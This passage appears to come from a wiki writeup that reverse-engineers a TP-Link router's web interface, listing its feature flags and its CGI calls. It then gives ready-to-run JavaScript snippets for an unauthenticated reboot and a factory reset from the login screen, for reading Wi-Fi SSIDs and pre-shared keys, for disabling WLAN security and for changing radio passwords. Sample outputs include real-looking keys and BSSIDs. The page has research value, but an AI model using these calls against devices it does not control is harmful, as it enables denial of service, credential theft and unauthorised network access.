var RE_CONFIG_WEPKEY = &amp;quot;RE_CONFIG_WEPKEY&amp;quot;&lt;br /&gt;
var MULTIMODE_ROUTER = &amp;quot;MULTIMODE_ROUTER&amp;quot;&lt;br /&gt;
var ROUTER_CONFIG_WEPKEY = &amp;quot;ROUTER_CONFIG_WEPKEY&amp;quot;&lt;br /&gt;
var ROUTER_CONFIG_MULTISSID = &amp;quot;ROUTER_CONFIG_MULTISSID&amp;quot;&lt;br /&gt;
var ROUTER_CONFIG_MSSIDENTRY = &amp;quot;ROUTER_CONFIG_MSSIDENTRY&amp;quot;&lt;br /&gt;
var MULTIMODE_MSSID = &amp;quot;MULTIMODE_MSSID&amp;quot;&lt;br /&gt;
var MSSID_CONFIG_MULTISSID = &amp;quot;MSSID_CONFIG_MULTISSID&amp;quot;&lt;br /&gt;
var MSSID_CONFIG_MSSIDENTRY = &amp;quot;MSSID_CONFIG_MSSIDENTRY&amp;quot;&lt;br /&gt;
var MULTIMODE_HOTSPOT = &amp;quot;MULTIMODE_HOTSPOT&amp;quot;&lt;br /&gt;
var PING_WATCH_DOG = &amp;quot;PING_WATCH_DOG&amp;quot;&lt;br /&gt;
var LED_CONTROL = &amp;quot;LED_CONTROL&amp;quot;&lt;br /&gt;
var NEW_SDMZ_CFG = &amp;quot;NEW_SDMZ_CFG&amp;quot;&lt;br /&gt;
&lt;br /&gt;
var INCLUDE_MULTI_LANGUAGE_Q=0&lt;br /&gt;
var INCLUDE_LOGIN_GDPR_ENCRYPT=1&lt;br /&gt;
var INCLUDE_WAN_LAN_STATUS=1&lt;br /&gt;
var INCLUDE_MULTIMODE_MODEM=0&lt;br /&gt;
var INCLUDE_MULTIMODE_RE=1&lt;br /&gt;
var WEB_INCLUDE_TEST=0&lt;br /&gt;
var WEB_INCLUDE_MULTI_EWAN=0&lt;br /&gt;
var WEB_INCLUDE_DST=1&lt;br /&gt;
var WEB_QS_CHANGEPASSWORD=1&lt;br /&gt;
var INCLUDE_IP6_WAN_NOT_ASSIGN_ADDR=0&lt;br /&gt;
var INCLUDE_UN_IPTV=0&lt;br /&gt;
var INCLUDE_SCHEDULE_NEW=0&lt;br /&gt;
var INCLUDE_HW_NAT=0&lt;br /&gt;
var INCLUDE_LED_CONTROL=0&lt;br /&gt;
var INCLUDE_MULTILANGUAGE=0&lt;br /&gt;
var INCLUDE_FEEDBACK=0&lt;br /&gt;
var INCLUDE_WOL=0&lt;br /&gt;
var INCLUDE_MULTILOCALCOEX=0&lt;br /&gt;
var INCLUDE_WEBUI_SUPPORT=1&lt;br /&gt;
var INCLUDE_FORCE_TIMEZONE_SELECT=0&lt;br /&gt;
var INCLUDE_FORCE_REGION_SELECT=0&lt;br /&gt;
var INCLUDE_WLAN_REGION_LIST=0&lt;br /&gt;
var INCLUDE_MULTIPLE_LOCALIZATION=0&lt;br /&gt;
var INCLUDE_SCAN_ALL_CHANNELS=0&lt;br /&gt;
var INCLUDE_WDS_DUALBAND_DYNSWITCH=0&lt;br /&gt;
var INCLUDE_LOCK_TO_AP=1&lt;br /&gt;
&lt;br /&gt;
var INCLUDE_LAN_WLAN=1&lt;br /&gt;
var INCLUDE_VOIP&lt;br /&gt;
var INCLUDE_FXS_NUM&lt;br /&gt;
var INCLUDE_CALLLOG&lt;br /&gt;
var INCLUDE_USB_VOICEMAIL&lt;br /&gt;
var INCLUDE_PSTN&lt;br /&gt;
var INCLUDE_PSTN_GATEWAY&lt;br /&gt;
var INCLUDE_PSTN_LIFELINE&lt;br /&gt;
var INCLUDE_BRIDGING=1&lt;br /&gt;
var INCLUDE_IGMP=1&lt;br /&gt;
var INCLUDE_ETHERNET_WAN=1&lt;br /&gt;
var INCLUDE_WAN_LAN_STATUS=1&lt;br /&gt;
var INCLUDE_SNMP=1&lt;br /&gt;
var INCLUDE_RIP&lt;br /&gt;
var INCLUDE_DDNS_PH&lt;br /&gt;
var INCLUDE_LAN_WLAN_MSSID=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_WDS=1&lt;br /&gt;
var INCLUDE_IPTV&lt;br /&gt;
var INCLUDE_CWMP&lt;br /&gt;
var INCLUDE_DYNDNS=1&lt;br /&gt;
var INCLUDE_USB&lt;br /&gt;
var INCLUDE_USB_STORAGE&lt;br /&gt;
var INCLUDE_USB_MEDIA_SERVER&lt;br /&gt;
var INCLUDE_USB_SAMBA_SERVER&lt;br /&gt;
var INCLUDE_USB_FTP_SERVER&lt;br /&gt;
var INCLUDE_USB_OVER_IP&lt;br /&gt;
var INCLUDE_ADSLWAN&lt;br /&gt;
var INCLUDE_AUTO_PVC&lt;br /&gt;
var INCLUDE_IPV6=1&lt;br /&gt;
var INCLUDE_IPV6_SLAAC=1&lt;br /&gt;
var INCLUDE_IPV6_AUTO=1&lt;br /&gt;
var INCLUDE_SPECIAL_DIAL_MODE&lt;br /&gt;
var INCLUDE_WAN_MODE=1&lt;br /&gt;
var INCLUDE_IPSEC&lt;br /&gt;
var INCLUDE_NOIPDNS=1&lt;br /&gt;
var INCLUDE_ALG_H323=1&lt;br /&gt;
var INCLUDE_ALG_SIP=1&lt;br /&gt;
var INCLUDE_PON_ETH_WAN&lt;br /&gt;
var INCLUDE_EPON_INFO&lt;br /&gt;
var INCLUDE_GPON_INFO&lt;br /&gt;
var INCLUDE_QOS&lt;br /&gt;
var INCLUDE_E8_APP&lt;br /&gt;
var INCLUDE_TFC_PERU&lt;br /&gt;
var INCLUDE_USB_3G_DONGLE&lt;br /&gt;
var INCLUDE_LAN_WLAN_SCHEDULE=1&lt;br /&gt;
var INCLUDE_ROUTE_BINDING&lt;br /&gt;
var INCLUDE_LAN_WLAN_GUESTNETWORK=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_DUALBAND&lt;br /&gt;
var INCLUDE_LAN_WLAN_HWSWITCH&lt;br /&gt;
var INCLUDE_LAN_WLAN_AC=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_WDS_DETECT&lt;br /&gt;
var INCLUDE_L2TP=1&lt;br /&gt;
var INCLUDE_PPTP=1&lt;br /&gt;
var INCLUDE_IPV6_MLD=1&lt;br /&gt;
var INCLUDE_ACL&lt;br /&gt;
var INCLUDE_ACL_ADVANCE&lt;br /&gt;
var INCLUDE_DUAL_ACCESS=1&lt;br /&gt;
var INCLUDE_WAN_TYPE_DETECT=1&lt;br /&gt;
var INCLUDE_BPA=1&lt;br /&gt;
var INCLUDE_CMXDNS=1&lt;br /&gt;
var INCLUDE_IPPING_DIAG=1&lt;br /&gt;
var INCLUDE_TRACEROUTE_DIAG=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_QUICKSAVE&lt;br /&gt;
var INCLUDE_IGMP_FORCEVERSION=1&lt;br /&gt;
var INCLUDE_PORTABLE_APP=1&lt;br /&gt;
var DEFAULT_NO_SPEC=1&lt;br /&gt;
var INCLUDE_MEXICO_SPEC&lt;br /&gt;
var INCLUDE_CANADA_SPEC&lt;br /&gt;
var INCLUDE_JAPAN_SPEC&lt;br /&gt;
var INCLUDE_KOREA_SPEC&lt;br /&gt;
var INCLUDE_PL_SPEC&lt;br /&gt;
var INCLUDE_BR_SPEC&lt;br /&gt;
var INCLUDE_ROMANIA_SPEC&lt;br /&gt;
var INCLUDE_RUSSIA_SPEC&lt;br /&gt;
var INCLUDE_US_SPEC&lt;br /&gt;
var INCLUDE_VN_SPEC&lt;br /&gt;
var INCLUDE_VIETNAM_FPT&lt;br /&gt;
var INCLUDE_TW_SPEC&lt;br /&gt;
var INCLUDE_ES_SPEC&lt;br /&gt;
var INCLUDE_X_TP_VLAN=1&lt;br /&gt;
var INCLUDE_FORBID_WAN_PING=1&lt;br /&gt;
var INCLUDE_SMART_DHCP=1&lt;br /&gt;
var INCLUDE_MIC=1&lt;br /&gt;
var INCLUDE_IPV6_PASS_THROUGH&lt;br /&gt;
var INCLUDE_AUTOREBOOT=1&lt;br /&gt;
var INCLUDE_CPUMEM_INFO&lt;br /&gt;
var INCLUDE_MULTIMODE_RE=1&lt;br /&gt;
var INCLUDE_MULTIMODE_AP=1&lt;br /&gt;
var INCLUDE_MULTIMODE_CLIENT=1&lt;br /&gt;
var INCLUDE_MULTIMODE=1&lt;br /&gt;
var INCLUDE_PING_WATCHDOG=1&lt;br /&gt;
var INCLUDE_MULTIMODE_ROUTER=1&lt;br /&gt;
var INCLUDE_MULTIMODE_MSSID&lt;br /&gt;
var INCLUDE_YANDEX_DNS&lt;br /&gt;
var INCLUDE_LED_CONTROL&lt;br /&gt;
var INCLUDE_MULTILANGUAGE&lt;br /&gt;
var INCLUDE_FORCE_TIMEZONE_SELECT&lt;br /&gt;
var INCLUDE_FORCE_REGION_SELECT&lt;br /&gt;
var INCLUDE_MULTIMODE_HOTSPOT=1&lt;br /&gt;
var INCLUDE_WLAN_REGION_LIST&lt;br /&gt;
var INCLUDE_FBWIFI&lt;br /&gt;
var INCLUDE_CLOUD&lt;br /&gt;
var INCLUDE_WANIP_BINDING&lt;br /&gt;
var INCLUDE_HTTPS_SSL=1&lt;br /&gt;
var INCLUDE_LAN_AP_GATEWAY=1&lt;br /&gt;
var INCLUDE_US_FOR_KR_SPEC&lt;br /&gt;
var INCLUDE_WOL&lt;br /&gt;
var INCLUDE_NEW_SDMZ&lt;br /&gt;
var INCLUDE_DMZ&lt;br /&gt;
var INCLUDE_SDMZ&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: While debugging CGI calls, the server returns an error numeric code. A successfull request returns &amp;lt;code&amp;gt;$.ret=0&amp;lt;/code&amp;gt;. Other &amp;lt;code&amp;gt;ret&amp;lt;/code&amp;gt; code&#039;s meaning can be easily resolved using the &amp;lt;code&amp;gt;err.js&amp;lt;/code&amp;gt;.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The JS files mentioned up to this point (&amp;lt;code&amp;gt;lib.js&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;oid_str.js&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;err.js&amp;lt;/code&amp;gt;) are all accessible without any authorisation in the werservers &amp;lt;code&amp;gt;/js&amp;lt;/code&amp;gt; directory and define the basic functionality of the web interface.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;The easiest to get starting, is by learning from examples, and there are tons of them. Most of them can be found by analysing commands that are integraded within the webpage. If the &amp;lt;code&amp;gt;/web&amp;lt;/code&amp;gt; directory has already been aquired and locally available, a simple command (&amp;lt;code&amp;gt;grep -rnw &#039;./web&#039; -e &#039;$.act&#039;&amp;lt;/code&amp;gt;), will reveal almost 2000 examples, spread over all documents. The other option is to use the browser&#039;s developer options. Choose element selection option (macOS: ⇧+⌘+C) an click any button. All forms on the webpage have &amp;lt;code&amp;gt;onclick=&amp;quot;functionName()&amp;quot;&amp;lt;/code&amp;gt; events present. Then type &amp;lt;code&amp;gt;functionName&amp;lt;/code&amp;gt; without brackets into the browser console and press enter. Double click on the result. This brings you straight to the file containing the function in question. I only explain this, because the page uses multiple iframes, which makes manual search a bit harder. In the following a very simple example function, which has been used as my entry point and also used in the following [[#Examples|Examples]] Section.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;function doRestart()&lt;br /&gt;
{&lt;br /&gt;
	if(confirm(c_str.creboot))&lt;br /&gt;
	{&lt;br /&gt;
		$.guage([&amp;quot;&amp;lt;span class=&#039;T T_rebooting&#039;&amp;gt;&amp;quot;+s_str.rebooting+&amp;quot;&amp;lt;/span&amp;gt;&amp;quot;, &amp;quot;&amp;lt;span class=&#039;T T_wait_reboot&#039;&amp;gt;&amp;quot;+s_str.wait_reboot+&amp;quot;&amp;lt;/span&amp;gt;&amp;quot;,], 100, $.guageInterval, function(){window.parent.$.refresh();});&lt;br /&gt;
		$.act(ACT_OP, ACT_OP_REBOOT);&lt;br /&gt;
		$.exe(true);&lt;br /&gt;
	}&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: On the older firmware, ALL information are transmitted creartext and unencrypted over the network. The newer firmware encrypts the payload, but still uses unencrypted http connection.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Examples&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Unauthorized Reboot that works from the login screen&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
$.act(ACT_OP, ACT_OP_REBOOT); $.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Unauthorized Factory Reset that works from the login screen&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware 170828&lt;br /&gt;
$.act(ACT_OP, ACT_OP_FACTORY_RESET); $.act(ACT_OP, ACT_OP_REBOOT); $.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A factory reset, also needs a reboot to become active.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Get all LAN_WLAN object attributes&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
$.act(ACT_GL, LAN_WLAN); $.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example LAN_WLAN object attributes&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;[1,1,0,0,0,0]0&lt;br /&gt;
__syncApStatus=0&lt;br /&gt;
__apLastStatus=3&lt;br /&gt;
__hwWifiStatus=0&lt;br /&gt;
enable=1&lt;br /&gt;
status=Up&lt;br /&gt;
name=wlan0&lt;br /&gt;
BSSID=74:DA:88:FC:C3:AE&lt;br /&gt;
channel=3&lt;br /&gt;
autoChannelEnable=1&lt;br /&gt;
X_TP_PreSSID=TP-Link&lt;br /&gt;
SSID=TP-Link_C3AE&lt;br /&gt;
beaconType=11i&lt;br /&gt;
MACAddressControlEnabled=0&lt;br /&gt;
X_TP_MACAddressControlRule=deny&lt;br /&gt;
X_TP_MACTableSize=0&lt;br /&gt;
X_TP_Configuration_Modified=0&lt;br /&gt;
X_TP_Band=2.4GHz&lt;br /&gt;
X_TP_Bandwidth=Auto&lt;br /&gt;
standard=n&lt;br /&gt;
WEPKeyIndex=1&lt;br /&gt;
WEPEncryptionLevel=Disabled,40-bits,104-bits&lt;br /&gt;
basicEncryptionModes=None&lt;br /&gt;
basicAuthenticationMode=None&lt;br /&gt;
WPAEncryptionModes=TKIPandAESEncryption&lt;br /&gt;
WPAAuthenticationMode=PSKAuthentication&lt;br /&gt;
IEEE11iEncryptionModes=AESEncryption&lt;br /&gt;
IEEE11iAuthenticationMode=PSKAuthentication&lt;br /&gt;
X_TP_PreSharedKey=09960466&lt;br /&gt;
X_TP_GroupKeyUpdateInterval=0&lt;br /&gt;
possibleChannels=&lt;br /&gt;
basicDataTransmitRates=2,11,6,18,24,48,54,60,90,120,150,90,120,240,450,60,120,240,480,&lt;br /&gt;
operationalDataTransmitRates=&lt;br /&gt;
possibleDataTransmitRates=5.5,11,12,24,36,135,150,30,60,240,270,300,45,450,60,120,240,480,&lt;br /&gt;
SSIDAdvertisementEnabled=1&lt;br /&gt;
transmitPowerSupported=100,50,20&lt;br /&gt;
transmitPower=100&lt;br /&gt;
regulatoryDomain=DE &lt;br /&gt;
deviceOperationMode=InfrastructureAccessPoint&lt;br /&gt;
X_TP_RadiusServerIP=&lt;br /&gt;
X_TP_RadiusServerPort=1812&lt;br /&gt;
X_TP_RadiusServerPassword=&lt;br /&gt;
WMMEnable=1&lt;br /&gt;
X_TP_BeaconInterval=100&lt;br /&gt;
X_TP_RTSThreshold=2346&lt;br /&gt;
X_TP_FragmentThreshold=2346&lt;br /&gt;
X_TP_DTIMFrequency=1&lt;br /&gt;
X_TP_IsolateClients=0&lt;br /&gt;
X_TP_ShortGIEnable=1&lt;br /&gt;
totalAssociations=64&lt;br /&gt;
maxStaNum=32&lt;br /&gt;
X_TP_ShowRegionSelectionOnWeb=0&lt;br /&gt;
[1,2,0,0,0,0]0&lt;br /&gt;
__syncApStatus=0&lt;br /&gt;
__apLastStatus=3&lt;br /&gt;
__hwWifiStatus=0&lt;br /&gt;
enable=0&lt;br /&gt;
status=Disabled&lt;br /&gt;
name=wlan5&lt;br /&gt;
BSSID=74:DA:88:FC:C3:AD&lt;br /&gt;
channel=40&lt;br /&gt;
autoChannelEnable=1&lt;br /&gt;
X_TP_PreSSID=TP-Link&lt;br /&gt;
SSID=TP-Link_C3AE_5G&lt;br /&gt;
beaconType=11i&lt;br /&gt;
MACAddressControlEnabled=0&lt;br /&gt;
X_TP_MACAddressControlRule=deny&lt;br /&gt;
X_TP_MACTableSize=0&lt;br /&gt;
X_TP_Configuration_Modified=0&lt;br /&gt;
X_TP_Band=5GHz&lt;br /&gt;
X_TP_Bandwidth=Auto&lt;br /&gt;
standard=ac&lt;br /&gt;
WEPKeyIndex=1&lt;br /&gt;
WEPEncryptionLevel=Disabled,40-bits,104-bits&lt;br /&gt;
basicEncryptionModes=None&lt;br /&gt;
basicAuthenticationMode=None&lt;br /&gt;
WPAEncryptionModes=TKIPandAESEncryption&lt;br /&gt;
WPAAuthenticationMode=PSKAuthentication&lt;br /&gt;
IEEE11iEncryptionModes=AESEncryption&lt;br /&gt;
IEEE11iAuthenticationMode=PSKAuthentication&lt;br /&gt;
X_TP_PreSharedKey=09960466&lt;br /&gt;
X_TP_GroupKeyUpdateInterval=0&lt;br /&gt;
possibleChannels=&lt;br /&gt;
basicDataTransmitRates=&lt;br /&gt;
operationalDataTransmitRates=&lt;br /&gt;
possibleDataTransmitRates=&lt;br /&gt;
SSIDAdvertisementEnabled=1&lt;br /&gt;
transmitPowerSupported=100,50,20&lt;br /&gt;
transmitPower=100&lt;br /&gt;
regulatoryDomain=DE &lt;br /&gt;
deviceOperationMode=InfrastructureAccessPoint&lt;br /&gt;
X_TP_RadiusServerIP=&lt;br /&gt;
X_TP_RadiusServerPort=1812&lt;br /&gt;
X_TP_RadiusServerPassword=&lt;br /&gt;
WMMEnable=1&lt;br /&gt;
X_TP_BeaconInterval=100&lt;br /&gt;
X_TP_RTSThreshold=2346&lt;br /&gt;
X_TP_FragmentThreshold=2346&lt;br /&gt;
X_TP_DTIMFrequency=1&lt;br /&gt;
X_TP_IsolateClients=0&lt;br /&gt;
X_TP_ShortGIEnable=1&lt;br /&gt;
totalAssociations=64&lt;br /&gt;
maxStaNum=32&lt;br /&gt;
X_TP_ShowRegionSelectionOnWeb=0&lt;br /&gt;
[error]0&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Get SSID and PSK&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
$.act(ACT_GL,LAN_WLAN,null,null,[&amp;quot;SSID&amp;quot;, &amp;quot;X_TP_PreSharedKey&amp;quot;]); $.exe();&lt;br /&gt;
&lt;br /&gt;
// Example Response&lt;br /&gt;
[1,1,0,0,0,0]0&lt;br /&gt;
SSID=TP-Link_00FC&lt;br /&gt;
X_TP_PreSharedKey=37490720&lt;br /&gt;
[1,2,0,0,0,0]0&lt;br /&gt;
SSID=TP-Link_00FC_5G&lt;br /&gt;
X_TP_PreSharedKey=37490720&lt;br /&gt;
[error]0&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Disable WLAN security&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
var wlanList=$.act(ACT_GL,LAN_WLAN,null,null,[&amp;quot;name&amp;quot;, &amp;quot;SSID&amp;quot;, &amp;quot;Enable&amp;quot;, &amp;quot;X_TP_Configuration_Modified&amp;quot;, &amp;quot;beaconType&amp;quot;, &amp;quot;Standard&amp;quot;, &amp;quot;WEPEncryptionLevel&amp;quot;, &amp;quot;WEPKeyIndex&amp;quot;, &amp;quot;BasicEncryptionModes&amp;quot;, &amp;quot;BasicAuthenticationMode&amp;quot;, &amp;quot;WPAEncryptionModes&amp;quot;, &amp;quot;WPAAuthenticationMode&amp;quot;, &amp;quot;IEEE11iEncryptionModes&amp;quot;, &amp;quot;IEEE11iAuthenticationMode&amp;quot;, &amp;quot;X_TP_PreSharedKey&amp;quot;, &amp;quot;X_TP_GroupKeyUpdateInterval&amp;quot;, &amp;quot;X_TP_RadiusServerIP&amp;quot;, &amp;quot;X_TP_RadiusServerPort&amp;quot;, &amp;quot;X_TP_RadiusServerPassword&amp;quot;]);&lt;br /&gt;
$.exe();&lt;br /&gt;
wlanObj=wlanList[0];&lt;br /&gt;
$.act(ACT_SET,LAN_WLAN,wlanObj.__stack,null,[&amp;quot;BeaconType=Basic&amp;quot;, &amp;quot;BasicEncryptionModes=None&amp;quot;, &amp;quot;BasicAuthenticationMode=None&amp;quot;]); $.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Change both WLAN radio passwords&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
let password = &amp;quot;1234567890&amp;quot;;&lt;br /&gt;
var wlanList=$.act(ACT_GL,LAN_WLAN,null,null,[&amp;quot;name&amp;quot;, &amp;quot;SSID&amp;quot;, &amp;quot;Enable&amp;quot;, &amp;quot;X_TP_Configuration_Modified&amp;quot;, &amp;quot;beaconType&amp;quot;, &amp;quot;Standard&amp;quot;, &amp;quot;WEPEncryptionLevel&amp;quot;, &amp;quot;WEPKeyIndex&amp;quot;, &amp;quot;BasicEncryptionModes&amp;quot;, &amp;quot;BasicAuthenticationMode&amp;quot;, &amp;quot;WPAEncryptionModes&amp;quot;, &amp;quot;WPAAuthenticationMode&amp;quot;, &amp;quot;IEEE11iEncryptionModes&amp;quot;, &amp;quot;IEEE11iAuthenticationMode&amp;quot;, &amp;quot;X_TP_PreSharedKey&amp;quot;, &amp;quot;X_TP_GroupKeyUpdateInterval&amp;quot;, &amp;quot;X_TP_RadiusServerIP&amp;quot;, &amp;quot;X_TP_RadiusServerPort&amp;quot;, &amp;quot;X_TP_RadiusServerPassword&amp;quot;]);&lt;br /&gt;
$.exe();&lt;br /&gt;
$.act(ACT_SET,LAN_WLAN,wlanList[0].__stack,null,[&amp;quot;BeaconType=11i&amp;quot;, &amp;quot;IEEE11iAuthenticationMode=PSKAuthentication&amp;quot;, &amp;quot;IEEE11iEncryptionModes=AESEncryption&amp;quot;, &amp;quot;X_TP_PreSharedKey=&amp;quot;+password,&amp;quot;X_TP_GroupKeyUpdateInterval=0&amp;quot;]);&lt;br /&gt;
$.act(ACT_SET,LAN_WLAN,wlanList[1].__stack,null,[&amp;quot;BeaconType=11i&amp;quot;, &amp;quot;IEEE11iAuthenticationMode=PSKAuthentication&amp;quot;, &amp;quot;IEEE11iEncryptionModes=AESEncryption&amp;quot;, &amp;quot;X_TP_PreSharedKey=&amp;quot;+password,&amp;quot;X_TP_GroupKeyUpdateInterval=0&amp;quot;]);&lt;br /&gt;
$.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: wlanObj = wlanList[{1, 2}] (0 = 2.4G; 1 = 5G)&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Payload Encryption&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
